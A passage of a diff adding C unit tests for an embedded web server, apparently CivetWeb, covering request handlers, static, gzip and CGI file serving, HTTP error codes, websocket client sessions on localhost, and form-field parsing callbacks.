defined(USE_IPV6) && defined(NO_SSL) + const char *HTTP_PORT = "8084,[::]:8086"; + short ipv4_port = 8084; + short ipv6_port = 8086; +#elif !defined(USE_IPV6) && defined(NO_SSL) + const char *HTTP_PORT = "8084"; + short ipv4_port = 8084; +#elif defined(USE_IPV6) && !defined(NO_SSL) + const char *HTTP_PORT = "8084,[::]:8086,8194r,[::]:8196r,8094s,[::]:8096s"; + short ipv4_port = 8084; + short ipv4s_port = 8094; + short ipv4r_port = 8194; + short ipv6_port = 8086; + short ipv6s_port = 8096; + short ipv6r_port = 8196; +#elif !defined(USE_IPV6) && !defined(NO_SSL) + const char *HTTP_PORT = "8084,8194r,8094s"; + short ipv4_port = 8084; + short ipv4s_port = 8094; + short ipv4r_port = 8194; +#endif + + const char *OPTIONS[16]; + const char *opt; + FILE *f; + const char *plain_file_content; + const char *encoded_file_content; + const char *cgi_script_content; + const char *expected_cgi_result; + int opt_idx = 0; + struct stat st; + +#if !defined(NO_SSL) + const char *ssl_cert = locate_ssl_cert(); +#endif + +#if defined(USE_WEBSOCKET) + struct tclient_data ws_client1_data = {NULL, 0, 0, 1}; + struct tclient_data ws_client2_data = {NULL, 0, 0, 2}; + struct tclient_data ws_client3_data = {NULL, 0, 0, 3}; + struct tclient_data ws_client4_data = {NULL, 0, 0, 4}; + struct mg_connection *ws_client1_conn = NULL; + struct mg_connection *ws_client2_conn = NULL; + struct mg_connection *ws_client3_conn = NULL; + struct mg_connection *ws_client4_conn = NULL; +#endif + + char cmd_buf[256]; + char *cgi_env_opt; + + mark_point(); + + memset((void *)OPTIONS, 0, sizeof(OPTIONS)); + OPTIONS[opt_idx++] = "listening_ports"; + OPTIONS[opt_idx++] = HTTP_PORT; + OPTIONS[opt_idx++] = "authentication_domain"; + OPTIONS[opt_idx++] = "test.domain"; +#if !defined(NO_FILES) + OPTIONS[opt_idx++] = "document_root"; + OPTIONS[opt_idx++] = "."; +#endif +#ifndef NO_SSL + ck_assert(ssl_cert != NULL); + OPTIONS[opt_idx++] = "ssl_certificate"; + OPTIONS[opt_idx++] = ssl_cert; +#endif + OPTIONS[opt_idx++] = "cgi_environment"; + cgi_env_opt = (char *)calloc(1, 4096 /* CGI_ENVIRONMENT_SIZE */); + ck_assert_ptr_ne(cgi_env_opt, NULL); + cgi_env_opt[0] = 'x'; + cgi_env_opt[1] = '='; + memset(cgi_env_opt + 2, 'y', 4090); /* Add large env field, so the server + * must reallocate buffers. */ + OPTIONS[opt_idx++] = cgi_env_opt; + + OPTIONS[opt_idx++] = "num_threads"; + OPTIONS[opt_idx++] = "2"; + + + ck_assert_int_le(opt_idx, (int)(sizeof(OPTIONS) / sizeof(OPTIONS[0]))); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 1] == NULL); + ck_assert(OPTIONS[sizeof(OPTIONS) / sizeof(OPTIONS[0]) - 2] == NULL); + + ctx = test_mg_start(NULL, &g_ctx, OPTIONS); + + ck_assert(ctx != NULL); + g_ctx = ctx; + + opt = mg_get_option(ctx, "listening_ports"); + ck_assert_str_eq(opt, HTTP_PORT); + + opt = mg_get_option(ctx, "cgi_environment"); + ck_assert_ptr_ne(opt, cgi_env_opt); + ck_assert_int_eq((int)opt[0], (int)cgi_env_opt[0]); + ck_assert_int_eq((int)opt[1], (int)cgi_env_opt[1]); + ck_assert_int_eq((int)opt[2], (int)cgi_env_opt[2]); + ck_assert_int_eq((int)opt[3], (int)cgi_env_opt[3]); + /* full length string compare will reach limit in the implementation + * of the check unit test framework */ + { + size_t len_check_1 = strlen(opt); + size_t len_check_2 = strlen(cgi_env_opt); + ck_assert_uint_eq(len_check_1, len_check_2); + } + + /* We don't need the original anymore, the server has a private copy */ + free(cgi_env_opt); + + opt = mg_get_option(ctx, "throttle"); + ck_assert_str_eq(opt, ""); + + opt = mg_get_option(ctx, "unknown_option_name"); + ck_assert(opt == NULL); + + for (i = 0; i < 1000; i++) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, uri, request_test_handler, NULL); + } + for (i = 500; i < 800; i++) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, uri, NULL, (void *)(ptrdiff_t)1); + } + for (i = 600; i >= 0; i--) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, uri, NULL, (void *)(ptrdiff_t)2); + } + for (i = 750; i <= 1000; i++) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, uri, NULL, (void *)(ptrdiff_t)3); + } + for (i = 5; i < 9; i++) { + sprintf(uri, "/U%u", i); + mg_set_request_handler(ctx, + uri, + request_test_handler, + (void *)(ptrdiff_t)i); + } + +#ifdef USE_WEBSOCKET + mg_set_websocket_handler(ctx, + "/websocket", + websock_server_connect, + websock_server_ready, + websock_server_data, + websock_server_close, + (void *)(ptrdiff_t)7531); +#endif + + /* Try to load non existing file */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /file/not/found HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "404"); + mg_close_connection(client_conn); + + /* Get data from callback */ + client_conn = mg_download( + "localhost", ipv4_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get data from callback using http://127.0.0.1 */ + client_conn = mg_download( + "127.0.0.1", ipv4_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + if ((i >= 0) && ((size_t)i < sizeof(buf))) { + buf[i] = 0; + } else { + ck_abort_msg( + "ERROR: test_request_handlers: read returned %i (>=0, <%i)", + (int)i, + (int)sizeof(buf)); + } + ck_assert((int)i < (int)sizeof(buf)); + ck_assert(i > 0); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + +#if defined(USE_IPV6) + /* Get data from callback using http://[::1] */ + client_conn = + mg_download("[::1]", ipv6_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); +#endif + +#if !defined(NO_SSL) + /* Get data from callback using https://127.0.0.1 */ + client_conn = mg_download( + "127.0.0.1", ipv4s_port, 1, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get redirect from callback using http://127.0.0.1 */ + client_conn = mg_download( + "127.0.0.1", ipv4r_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "302"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, -1); + mg_close_connection(client_conn); +#endif + +#if defined(USE_IPV6) && !defined(NO_SSL) + /* Get data from callback using https://[::1] */ + client_conn = + mg_download("[::1]", ipv6s_port, 1, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get redirect from callback using http://127.0.0.1 */ + client_conn = + mg_download("[::1]", ipv6r_port, 0, ebuf, sizeof(ebuf), "%s", request); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "302"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, -1); + mg_close_connection(client_conn); +#endif + +/* It seems to be impossible to find out what the actual working + * directory of the CI test environment is. Before breaking another + * dozen of builds by trying blindly with different paths, just + * create the file here */ +#ifdef _WIN32 + f = fopen("test.txt", "wb"); +#else + f = fopen("test.txt", "w"); +#endif + plain_file_content = "simple text file\n"; + fwrite(plain_file_content, 17, 1, f); + fclose(f); + +#ifdef _WIN32 + f = fopen("test_gz.txt.gz", "wb"); +#else + f = fopen("test_gz.txt.gz", "w"); +#endif + encoded_file_content = "\x1f\x8b\x08\x08\xf8\x9d\xcb\x55\x00\x00" + "test_gz.txt" + "\x00\x01\x11\x00\xee\xff" + "zipped text file" + "\x0a\x34\x5f\xcc\x49\x11\x00\x00\x00"; + fwrite(encoded_file_content, 1, 52, f); + fclose(f); + +#ifdef _WIN32 + f = fopen("test.cgi", "wb"); + cgi_script_content = "#!test.cgi.cmd\r\n"; + fwrite(cgi_script_content, strlen(cgi_script_content), 1, f); + fclose(f); + f = fopen("test.cgi.cmd", "w"); + cgi_script_content = "@echo off\r\n" + "echo Connection: close\r\n" + "echo Content-Type: text/plain\r\n" + "echo.\r\n" + "echo CGI test\r\n" + "\r\n"; + fwrite(cgi_script_content, strlen(cgi_script_content), 1, f); + fclose(f); +#else + f = fopen("test.cgi", "w"); + cgi_script_content = "#!/bin/sh\n\n" + "printf \"Connection: close\\r\\n\"\n" + "printf \"Content-Type: text/plain\\r\\n\"\n" + "printf \"\\r\\n\"\n" + "printf \"CGI test\\r\\n\"\n" + "\n"; + (void)fwrite(cgi_script_content, strlen(cgi_script_content), 1, f); + (void)fclose(f); + (void)system("chmod a+x test.cgi"); +#endif + expected_cgi_result = "CGI test"; + + /* Get static data */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /test.txt HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); +#else + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, 17); + if ((i >= 0) && (i < (int)sizeof(buf))) { + buf[i] = 0; + } + ck_assert_str_eq(buf, plain_file_content); +#endif + mg_close_connection(client_conn); + + + /* Check if CGI test executable exists */ + memset(&st, 0, sizeof(st)); + +#if defined(_WIN32) + /* TODO: not yet available */ + sprintf(ebuf, "%scgi_test.cgi", locate_test_exes()); +#else + sprintf(ebuf, "%scgi_test.cgi", locate_test_exes()); + + if (stat(ebuf, &st) != 0) { + fprintf(stderr, "\nFile %s not found\n", ebuf); + fprintf(stderr, + "This file needs to be compiled manually before " + "starting the test\n"); + fprintf(stderr, + "e.g. by gcc test/cgi_test.c -o output/cgi_test.cgi\n\n"); + + /* Abort test with diagnostic message */ + ck_abort_msg("Mandatory file %s must be built before starting the test", + ebuf); + } +#endif + + +/* Test with CGI test executable */ +#if defined(_WIN32) + sprintf(cmd_buf, "copy %s\\cgi_test.cgi cgi_test.exe", locate_test_exes()); +#else + sprintf(cmd_buf, "cp %s/cgi_test.cgi cgi_test.cgi", locate_test_exes()); +#endif + (void)system(cmd_buf); + +#if !defined(NO_CGI) && !defined(NO_FILES) && !defined(_WIN32) + /* TODO: add test for windows, check with POST */ + client_conn = mg_download( + "localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /cgi_test.cgi/x/y.z HTTP/1.0\r\nContent-Length: 3\r\n\r\nABC"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); +#endif + + /* Get zipped static data - will not work if Accept-Encoding is not set */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /test_gz.txt HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "404"); + mg_close_connection(client_conn); + + /* Get zipped static data - with Accept-Encoding */ + client_conn = mg_download( + "localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /test_gz.txt HTTP/1.0\r\nAccept-Encoding: gzip\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); +#else + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, 52); + if ((i >= 0) && (i < (int)sizeof(buf))) { + buf[i] = 0; + } + ck_assert_int_eq(ri->content_length, 52); + ck_assert_str_eq(buf, encoded_file_content); +#endif + mg_close_connection(client_conn); + +/* Get CGI generated data */ +#if !defined(NO_CGI) + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET /test.cgi HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); + + (void)expected_cgi_result; + (void)cgi_script_content; +#else + i = mg_read(client_conn, buf, sizeof(buf)); + if ((i >= 0) && (i < (int)sizeof(buf))) { + while ((i > 0) && ((buf[i - 1] == '\r') || (buf[i - 1] == '\n'))) { + i--; + } + buf[i] = 0; + } + /* ck_assert_int_eq(i, (int)strlen(expected_cgi_result)); */ + ck_assert_str_eq(buf, expected_cgi_result); + ck_assert_str_eq(ri->local_uri, "200"); + mg_close_connection(client_conn); +#endif + +#else + (void)expected_cgi_result; + (void)cgi_script_content; +#endif + + /* Get directory listing */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "GET / HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); +#else + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert(i > 6); + buf[6] = 0; + ck_assert_str_eq(buf, ""); +#endif + mg_close_connection(client_conn); + + /* POST to static file (will not work) */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "POST /test.txt HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "404"); +#else + ck_assert_str_eq(ri->local_uri, "405"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert(i >= 29); + buf[29] = 0; + ck_assert_str_eq(buf, "Error 405: Method Not Allowed"); +#endif + mg_close_connection(client_conn); + + /* PUT to static file (will not work) */ + client_conn = mg_download("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "%s", + "PUT /test.txt HTTP/1.0\r\n\r\n"); + ck_assert(client_conn != NULL); + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); +#if defined(NO_FILES) + ck_assert_str_eq(ri->local_uri, "405"); /* method not allowed */ +#else + ck_assert_str_eq(ri->local_uri, "401"); /* not authorized */ +#endif + mg_close_connection(client_conn); + + + /* Get data from callback using mg_connect_client instead of mg_download */ + memset(ebuf, 0, sizeof(ebuf)); + client_conn = + mg_connect_client("127.0.0.1", ipv4_port, 0, ebuf, sizeof(ebuf)); + + ck_assert_str_eq(ebuf, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, "%s", request); + + i = mg_get_response(client_conn, ebuf, sizeof(ebuf), 10000); + ck_assert_int_ge(i, 0); + ck_assert_str_eq(ebuf, ""); + + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get data from callback using mg_connect_client and absolute URI */ + memset(ebuf, 0, sizeof(ebuf)); + client_conn = + mg_connect_client("localhost", ipv4_port, 0, ebuf, sizeof(ebuf)); + + ck_assert_str_eq(ebuf, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, + "GET http://test.domain:%d/U7 HTTP/1.0\r\n\r\n", + ipv4_port); + + i = mg_get_response(client_conn, ebuf, sizeof(ebuf), 10000); + ck_assert_int_ge(i, 0); + ck_assert_str_eq(ebuf, ""); + + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + /* Get data from callback using mg_connect_client and absolute URI with a + * sub-domain */ + memset(ebuf, 0, sizeof(ebuf)); + client_conn = + mg_connect_client("localhost", ipv4_port, 0, ebuf, sizeof(ebuf)); + + ck_assert_str_eq(ebuf, ""); + ck_assert(client_conn != NULL); + + mg_printf(client_conn, + "GET http://subdomain.test.domain:%d/U7 HTTP/1.0\r\n\r\n", + ipv4_port); + + i = mg_get_response(client_conn, ebuf, sizeof(ebuf), 10000); + ck_assert_int_ge(i, 0); + ck_assert_str_eq(ebuf, ""); + + ri = mg_get_request_info(client_conn); + + ck_assert(ri != NULL); + ck_assert_str_eq(ri->local_uri, "200"); + i = mg_read(client_conn, buf, sizeof(buf)); + ck_assert_int_eq(i, (int)strlen(expected)); + buf[i] = 0; + ck_assert_str_eq(buf, expected); + mg_close_connection(client_conn); + + +/* Websocket test */ +#ifdef USE_WEBSOCKET + /* Then connect a first client */ + ws_client1_conn = + mg_connect_websocket_client("localhost", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client1_data); + + ck_assert(ws_client1_conn != NULL); + + wait_not_null( + &(ws_client1_data.data)); /* Wait for the websocket welcome message */ + ck_assert_int_eq(ws_client1_data.closed, 0); + ck_assert_int_eq(ws_client2_data.closed, 0); + ck_assert_int_eq(ws_client3_data.closed, 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert_uint_eq(ws_client2_data.len, 0); + ck_assert(ws_client1_data.data != NULL); + ck_assert_uint_eq(ws_client1_data.len, websocket_welcome_msg_len); + ck_assert(!memcmp(ws_client1_data.data, + websocket_welcome_msg, + websocket_welcome_msg_len)); + free(ws_client1_data.data); + ws_client1_data.data = NULL; + ws_client1_data.len = 0; + + mg_websocket_client_write(ws_client1_conn, + WEBSOCKET_OPCODE_TEXT, + "data1", + 5); + + wait_not_null( + &(ws_client1_data + .data)); /* Wait for the websocket acknowledge message */ + ck_assert_int_eq(ws_client1_data.closed, 0); + ck_assert_int_eq(ws_client2_data.closed, 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert_uint_eq(ws_client2_data.len, 0); + ck_assert(ws_client1_data.data != NULL); + ck_assert_uint_eq(ws_client1_data.len, 3); + ck_assert(!memcmp(ws_client1_data.data, "ok1", 3)); + free(ws_client1_data.data); + ws_client1_data.data = NULL; + ws_client1_data.len = 0; + +/* Now connect a second client */ +#ifdef USE_IPV6 + ws_client2_conn = + mg_connect_websocket_client("[::1]", + ipv6_port, + 0, + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client2_data); +#else + ws_client2_conn = + mg_connect_websocket_client("127.0.0.1", + ipv4_port, + 0, + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client2_data); +#endif + ck_assert(ws_client2_conn != NULL); + + wait_not_null( + &(ws_client2_data.data)); /* Wait for the websocket welcome message */ + ck_assert(ws_client1_data.closed == 0); + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data != NULL); + ck_assert(ws_client2_data.len == websocket_welcome_msg_len); + ck_assert(!memcmp(ws_client2_data.data, + websocket_welcome_msg, + websocket_welcome_msg_len)); + free(ws_client2_data.data); + ws_client2_data.data = NULL; + ws_client2_data.len = 0; + + mg_websocket_client_write(ws_client1_conn, + WEBSOCKET_OPCODE_TEXT, + "data2", + 5); + + wait_not_null( + &(ws_client1_data + .data)); /* Wait for the websocket acknowledge message */ + + ck_assert(ws_client1_data.closed == 0); + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + ck_assert(ws_client1_data.data != NULL); + ck_assert(ws_client1_data.len == 4); + ck_assert(!memcmp(ws_client1_data.data, "ok 2", 4)); + free(ws_client1_data.data); + ws_client1_data.data = NULL; + ws_client1_data.len = 0; + + mg_websocket_client_write(ws_client1_conn, WEBSOCKET_OPCODE_TEXT, "bye", 3); + + wait_not_null( + &(ws_client1_data.data)); /* Wait for the websocket goodbye message */ + + ck_assert(ws_client1_data.closed == 0); + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + ck_assert(ws_client1_data.data != NULL); + ck_assert(ws_client1_data.len == websocket_goodbye_msg_len); + ck_assert(!memcmp(ws_client1_data.data, + websocket_goodbye_msg, + websocket_goodbye_msg_len)); + free(ws_client1_data.data); + ws_client1_data.data = NULL; + ws_client1_data.len = 0; + + ck_assert(ws_client1_data.closed == 0); /* Not closed */ + + mg_close_connection(ws_client1_conn); + + test_sleep(3); /* Won't get any message */ + + ck_assert(ws_client1_data.closed == 1); /* Closed */ + + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + + mg_websocket_client_write(ws_client2_conn, WEBSOCKET_OPCODE_TEXT, "bye", 3); + + wait_not_null( + &(ws_client2_data.data)); /* Wait for the websocket goodbye message */ + + ck_assert(ws_client1_data.closed == 1); + ck_assert(ws_client2_data.closed == 0); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data != NULL); + ck_assert(ws_client2_data.len == websocket_goodbye_msg_len); + ck_assert(!memcmp(ws_client2_data.data, + websocket_goodbye_msg, + websocket_goodbye_msg_len)); + free(ws_client2_data.data); + ws_client2_data.data = NULL; + ws_client2_data.len = 0; + + mg_close_connection(ws_client2_conn); + + test_sleep(3); /* Won't get any message */ + + ck_assert(ws_client1_data.closed == 1); + ck_assert(ws_client2_data.closed == 1); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + + /* Connect client 3 */ + ws_client3_conn = + mg_connect_websocket_client("localhost", +#if defined(NO_SSL) + ipv4_port, + 0, +#else + ipv4s_port, + 1, +#endif + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client3_data); + + ck_assert(ws_client3_conn != NULL); + + wait_not_null( + &(ws_client3_data.data)); /* Wait for the websocket welcome message */ + ck_assert(ws_client1_data.closed == 1); + ck_assert(ws_client2_data.closed == 1); + ck_assert(ws_client3_data.closed == 0); + ck_assert(ws_client1_data.data == NULL); + ck_assert(ws_client1_data.len == 0); + ck_assert(ws_client2_data.data == NULL); + ck_assert(ws_client2_data.len == 0); + ck_assert(ws_client3_data.data != NULL); + ck_assert(ws_client3_data.len == websocket_welcome_msg_len); + ck_assert(!memcmp(ws_client3_data.data, + websocket_welcome_msg, + websocket_welcome_msg_len)); + free(ws_client3_data.data); + ws_client3_data.data = NULL; + ws_client3_data.len = 0; + + /* Write long data (16 bit size header) */ + mg_websocket_client_write(ws_client3_conn, + WEBSOCKET_OPCODE_BINARY, + long_ws_buf, + long_ws_buf_len_16); + + /* Wait for the response */ + wait_not_null(&(ws_client3_data.data)); + + ck_assert_int_eq((int)ws_client3_data.len, (int)long_ws_buf_len_16); + ck_assert(!memcmp(ws_client3_data.data, long_ws_buf, long_ws_buf_len_16)); + free(ws_client3_data.data); + ws_client3_data.data = NULL; + ws_client3_data.len = 0; + + /* Write long data (64 bit size header) */ + mg_websocket_client_write(ws_client3_conn, + WEBSOCKET_OPCODE_BINARY, + long_ws_buf, + long_ws_buf_len_64); + + /* Wait for the response */ + wait_not_null(&(ws_client3_data.data)); + + ck_assert_int_eq((int)ws_client3_data.len, (int)long_ws_buf_len_64); + ck_assert(!memcmp(ws_client3_data.data, long_ws_buf, long_ws_buf_len_64)); + free(ws_client3_data.data); + ws_client3_data.data = NULL; + ws_client3_data.len = 0; + + /* Disconnect client 3 */ + ck_assert(ws_client3_data.closed == 0); + mg_close_connection(ws_client3_conn); + ck_assert(ws_client3_data.closed == 1); + + /* Connect client 4 */ + ws_client4_conn = + mg_connect_websocket_client("localhost", +#if defined(NO_SSL) + ipv4_port, + 0, +#else + ipv4s_port, + 1, +#endif + ebuf, + sizeof(ebuf), + "/websocket", + NULL, + websocket_client_data_handler, + websocket_client_close_handler, + &ws_client4_data); + + ck_assert(ws_client4_conn != NULL); + + wait_not_null( + &(ws_client4_data.data)); /* Wait for the websocket welcome message */ + ck_assert(ws_client1_data.closed == 1); + ck_assert(ws_client2_data.closed == 1); + ck_assert(ws_client3_data.closed == 1); + ck_assert(ws_client4_data.closed == 0); + ck_assert(ws_client4_data.data != NULL); + ck_assert(ws_client4_data.len == websocket_welcome_msg_len); + ck_assert(!memcmp(ws_client4_data.data, + websocket_welcome_msg, + websocket_welcome_msg_len)); + free(ws_client4_data.data); + ws_client4_data.data = NULL; + ws_client4_data.len = 0; + +/* stop the server without closing this connection */ + +#endif + + /* Close the server */ + g_ctx = NULL; + test_mg_stop(ctx); + mark_point(); + +#ifdef USE_WEBSOCKET + for (i = 0; i < 100; i++) { + test_sleep(1); + if (ws_client3_data.closed != 0) { + mark_point(); + break; + } + } + + ck_assert_int_eq(ws_client4_data.closed, 1); + + /* Free data in ws_client4_conn */ + mg_close_connection(ws_client4_conn); + +#endif + mark_point(); +} +END_TEST + + +static int g_field_found_return = -999; + +static int +field_found(const char *key, + const char *filename, + char *path, + size_t pathlen, + void *user_data) +{ + ck_assert_ptr_ne(key, NULL); + ck_assert_ptr_ne(filename, NULL); + ck_assert_ptr_ne(path, NULL); + ck_assert_uint_gt(pathlen, 128); + ck_assert_ptr_eq(user_data, (void *)&g_field_found_return); + + ck_assert((g_field_found_return == FORM_FIELD_STORAGE_GET) + || (g_field_found_return == FORM_FIELD_STORAGE_STORE) + || (g_field_found_return == FORM_FIELD_STORAGE_SKIP) + || (g_field_found_return == FORM_FIELD_STORAGE_ABORT)); + + ck_assert_str_ne(key, "dontread"); + + if (!strcmp(key, "break_field_handler")) { + return FORM_FIELD_STORAGE_ABORT; + } + if (!strcmp(key, "continue_field_handler")) { + return FORM_FIELD_STORAGE_SKIP; + } + + if (g_field_found_return == FORM_FIELD_STORAGE_STORE) { + strncpy(path, key, pathlen - 8); + strcat(path, ".txt"); + } + + mark_point(); + + return g_field_found_return; +} + + +static int g_field_step; + +static int +field_get(const char *key, + const char *value_untruncated, + size_t valuelen, + void *user_data) +{ + /* Copy the untruncated value, so string compare functions can be used. */ + /* The check unit test library does not have build in memcmp functions. */ + char *value = (char *)malloc(valuelen + 1); + ck_assert(value != NULL); + memcpy(value, value_untruncated, valuelen); + value[valuelen] = 0; + + ck_assert_ptr_eq(user_data, (void *)&g_field_found_return); + ck_assert_int_ge(g_field_step, 0); + + ++g_field_step; + switch (g_field_step) { + case 1: + ck_assert_str_eq(key, "textin"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "text"); + break; + case 2: + ck_assert_str_eq(key, "passwordin"); + ck_assert_uint_eq(valuelen, 0); + ck_assert_str_eq(value, ""); + break; + case 3: + ck_assert_str_eq(key, "radio1"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "val1"); + break; + case 4: + ck_assert_str_eq(key, "radio2"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "val1"); + break; + case 5: + ck_assert_str_eq(key, "check1"); + ck_assert_uint_eq(valuelen, 4); + ck_assert_str_eq(value, "val1"); + break; + case 6: + ck_assert_str_eq(key, "numberin"); + ck_assert_uint_eq(valuelen, 1); + ck_assert_str_eq(value, "1"); + break; + case 7: + ck_assert_str_eq(key, "datein"); + ck_assert_uint_eq(valuelen, 8); + ck_assert_str_eq(value, "1.1.2016"); + break; + case 8: + ck_assert_str_eq(key, "colorin"); + ck_assert_uint_eq(valuelen, 7); + ck_assert_str_eq(value, "#80ff00"); + break; + case 9: + ck_assert_str_eq(key, "rangein"); + 